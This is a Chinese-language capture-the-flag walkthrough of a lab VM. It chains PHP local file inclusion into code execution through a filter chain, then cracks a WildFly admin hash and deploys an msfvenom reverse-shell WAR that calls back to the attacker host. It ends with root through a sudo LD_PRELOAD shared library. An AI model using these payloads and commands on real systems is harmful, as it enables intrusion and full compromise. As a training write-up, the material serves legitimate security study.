有个php文件

fuzz一下参数

ffuf -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u 'http://192.168.56.115/about.php?FUZZ=/etc/passwd' -fs 0

没爆出来

去界面探测一下信息

菜单里面只有recipes能点

注意url

http://192.168.56.115/recipe.php?file=fatty-burger.php

猜测可能有文件包含

伪协议成功读取

直接读取recipe.php读取不出来

用filter过滤器

得到的源码经过base64解码得到如上

看下面的php源码，知道网页对iconv,/,..进行了过滤

现在想想该如何利用LFI进行RCE

利用搜索引擎搜索关键词LFI filter RCE得到两篇文章

通过 PHP 过滤器LFI2RCE - HackTricks

synacktiv/php_filter_chain_generator (github.com)

有个工具能生成php chain

php_filter_chain_generator.py

 python .\php_filter_chain_generator.py --chain '<?=`$_GET[0]` ?>'

[+] The following gadget chain will generate the following code : <?=`$_GET[0]` ?> (base64 value: PD89YCRfR0VUWzBdYCA/Pg)

又因为源码中过滤了iconv,可以进行双重编码绕过

i的16进制编码是%69,%的16进制编码是25，所以可以用%2569表示i

反弹个shell

切换到交互shell

拿到www-data的权限并没有什么卵用，里面啥也没有

看看其他端口

8443打不开

8080

是WildFly服务后台是9990端口

根据进程扫描知道wildfly文件位置/opt/wildfly

扫一下隐私文件

#
# Properties declaration of users for the realm 'ManagementRealm' which is the default realm
# for new installations. Further authentication mechanism can be configured
# as part of the <management /> in host.xml.
#
# Users can be added to this properties file at any time, updates after the server has started
# will be automatically detected.
#
# By default the properties realm expects the entries to be in the format: -
# username=HEX( MD5( username ':' realm ':' password))
#
# A utility script is provided which can be executed from the bin folder to add the users: -
# - Linux
#  bin/add-user.sh
#
# - Windows
#  bin\add-user.bat
#
#$REALM_NAME=ManagementRealm$ This line is used by the add-user utility to identify the realm name already used in this file.
#
# On start-up the server will also automatically add a user $local - this user is specifically
# for local tools running against this AS installation.
#
# The following illustrates how an admin user could be defined, this
# is for illustration only and does not correspond to a usable password.
#
administrator=3bfa7f34174555fe766d0e0295821742

在/domain/configuration/mgmt-users.properties里面发现点东西

username为realm然后再对username:realm:password进行md5加密再转16进制

从下面可以知道用户名为administrator

hash为3bfa7f34174555fe766d0e0295821742

在host-primary.xml里面发现realm name为ManagementRealm

<realm name="ManagementRealm" role-decoder="groups-to-roles"/>

现在可以写个脚本来碰撞一下

import hashlib
username="administrator"
realm="ManagementRealm"
hash_re="3bfa7f34174555fe766d0e0295821742"
with open("/usr/share/eaphammer/wordlists/rockyou.txt",'r',errors="ignore") as file:for passwd in file:passwd=passwd.strip()if hashlib.md5(f"{username}:{realm}:{passwd}".encode()).hexdigest()==hash_re:print(passwd)break

# python a.py
katarina9

爆出密码是katarina9

成功登录上去

上传war文件反弹shell

生成一个

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.56.104 LPORT=4567 -f war > tao.war Scripting Payloads

监听拿到shell

# nc -lvnp 4567

connect to [192.168.56.104] from (UNKNOWN) [192.168.56.115] 51206

tod

拿到user权限

sudo -l查看提权文件

tod@wild:/home/tod$ sudo -l
sudo -l
Matching Defaults entries for tod on wild:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,use_ptyUser tod may run the following commands on wild:(ALL : ALL) SETENV: NOPASSWD: /usr/bin/info

可以通过setenv进行链接库注入

通过LD_PRELOAD在库进行加载的时候添加可以使用的函数

写个c

#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor))
void init()
{setuid(0);setgid(0);unsetenv("LD_PRELOAD");system("/bin/bash");
}

编译

 gcc root.c -shared -fPIC -o root.so

传到靶机

wget http://192.168.56.104:6677/root.so
chmod +x root.so
sudo LD_PRELOAD=/home/tod/root.so /usr/bin/info

拿到root权限!

总结:1.php链从LFI2RCE

2.进程查看文件目录

3.war马上传实现webshell

4.setenv链接库注入提权
